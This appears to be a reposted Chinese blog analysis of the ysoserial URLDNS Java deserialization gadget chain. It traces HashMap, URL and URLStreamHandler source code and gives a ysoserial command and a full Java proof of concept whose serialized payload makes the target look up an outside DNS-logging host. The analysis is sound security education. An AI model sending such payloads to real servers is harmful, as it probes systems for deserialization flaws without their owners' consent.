前言gadget分析 触发过程 POC测试代码 HashMap HashMap的原理 设置新键值对 读取key的value 反序列化过程 HashMap序列化过程 HashMap反序列化过程jdk1.8与jdk1.7u80调用路线回看payload生成关键参考资料
前言
URLDNS
是ysoserial
中最简单的gadget,利用它可以判断是否存在反序列化点。
如果目标服务器存在反序列化动作(readObject),处理了我们的输入,同时按照我们给定的URL地址完成了DNS查询,我们就可以确认是存在反序列化利用点的。
同时因为这个利用链不依赖任何第三方库,没有什么限制。
yso用法命令:
java -jar ysoserial-master-30099844c6-1.jar URLDNS "http://urldns.f9znici4.3cm.pw"
gadget分析
触发过程
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
POC测试代码
package com.example;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
// 0x01. 生成payload
// 设置一个hashMap
HashMap<URL, String> hashmap = new HashMap<URL, String>();
// 设置可以接收DNS查询的地址
URL url = new URL("http://urldns.f9znici4.3cm.pw");
//将URL的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
// 1. 设置url的hashCode字段为任意值
f.set(url, 0x1234);// 这样操作是为了不在HashMap.put中触发URLDNS查询,如果不这么写就会触发两次
// 2. 将url放入hashmap中
hashmap.put(url, "adsf");
// 修改url的的hashCode字段为-1,为了触发DNS查询
f.set(url, -1);
// 0x02. 写入文件模拟网络传输
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.ser"));
oos.writeObject(hashmap);
//0x03. 读取文件,进行反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.ser"));
ois.readObject();
}
}
运行后,反序列化操作(readObject)后,可以看到有DNS请求:
从payload结构可以看到,有三个主要的名词:HashMap
、URL
、HashCode
最终的payload结构是:一个HashMap
,里面包含了 一个修改了HashCode
为-1
的URL
类
我们可以选择在HashMap
的readObject
处下断点进行调试。
HashMap
HashMap的原理
HashMap是一种数据结构,本质在使用上是存取key-value键值对的使用方式,但在实现上引入了key值的hash映射到一维数组的形式,再引入链表来解决hash碰撞问题(不同key映射到数组同一位置)。
设置新键值对
-
计算key的hash:
Hash(k)
-
通过Hash(k)映射到有限的数组a的位置i
-
在a[i]的位置存入value
-
因为把计算出来的不同的key的hash映射到有限的数组长度,肯定会出现不同的key对应同一个数组位置i的情况。如果发现a[i]已经有了其他key的value,就放入这个i位置后面对应的链表(根据多少的情况可能变为树)中。
读取key的value
-
计算key的hash:
Hash(k)
-
通过Hash(k)映射到有限的数组a的位置i
-
读取在a[i]的位置的value
-
如果发现a[i]已经有了其他key的value,就遍历这个i位置后面对应的链表(根据多少的情况可能变为树),去查找这个key再去取值。
反序列化过程
HashMap序列化过程
java.util.HashMap#writeObject
分为三个步骤进行序列化:
-
序列化写入一维数组的长度
-
序列化写入键值对的个数
-
序列化写入键值对的键和值
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}
HashMap反序列化过程
java.util.HashMap#readObject
:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
//...省略代码...
//读取一维数组长度,不处理
//读取键值对个数mappings
//处理其他操作并初始化
//遍历反序列化分辨读取key和value
for (int i = 0; i < mappings; i++) {
//URL类也有readObject方法,此处也会执行,但是DNS查询行为不在这,我们跳过
K key = (K) s.readObject();
V value = (V) s.readObject();
//注意以下这句话
putVal(hash(key), key, value, false, false);
}
}
putVal
是往HashMap中放入键值对的方法,上面也说到在放入时会计算key的hash作为转化为数组位置i的映射依据。
而DNS查询正是在计算URL类的对象的hash的过程中触发的,即hash(key)。
java.util.HashMap#hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
注意这里的参数key
是是hashmap对象的key(从序列化的数据中来),即传入的key是一个URL对象。这里的key.hashCode()
调用的是URL
类的hashCode
方法。
java.net.URL#hashCode
:
transient URLStreamHandler handler; //这个URL传输实现类是一个transient临时类型,它不会被反序列化(之后会用到)
private int hashCode = -1;//hashCode是private类型,需要手动开放控制权才可以修改。要用反射修改下值
//...
public synchronized int hashCode() {
//判断如果当前对象中的hashCode不为默认值-1的话,就直接返回
//意思就是如果以前算过了就别再算了
if (hashCode != -1)
return hashCode;
//如果没算过,就调用当前URL类的URL传输实现类去计算hashcode
hashCode = handler.hashCode(this);//进入此处
return hashCode;
}
java.net.URLStreamHandler#hashCode
:
// 次出传入的对象为this,即URL,我们先前设置的URL的值
protected int hashCode(URL u) {
int h = 0;// 计算的hash的结果
// Generate the protocol part.
// 使用url的协议部分,计算hash
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
// **通过url获取目标IP地址**(关键),再计算hash并拼接。**这个过程就会发出DNS查询请求**
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {// 如果没有获取到域名对应的IP,就直接把域名计算hash并拼接
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// ...
如此,getHostAddress(u)
这一关键语句,通过我们提供的URL地址去获取对应的IP。
jdk1.8与jdk1.7u80调用路线
jdk1.8
:
-
HashMap->readObject()
-
HashMap->hash()
-
URL->hashCode()
-
URLStreamHandler->hashCode()
-
URLStreamHandler->getHostAddress()
-
InetAddress->getByName()
jdk1.7u80
:
-
HashMap->readObject()
-
HashMap->putForCreate()
-
HashMap->hash()
-
URL->hashCode()
-
之后相同
回看payload生成关键
-
HashMap对象中有一个key为URL对象的键值对
-
这个URL对象的hashcode需要为-1
参考资料
JAVA反序列化-ysoserial-URLDNS
ysoserial payload分析
原文始发于微信公众号(信安文摘):【yso】 - URLDNS反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论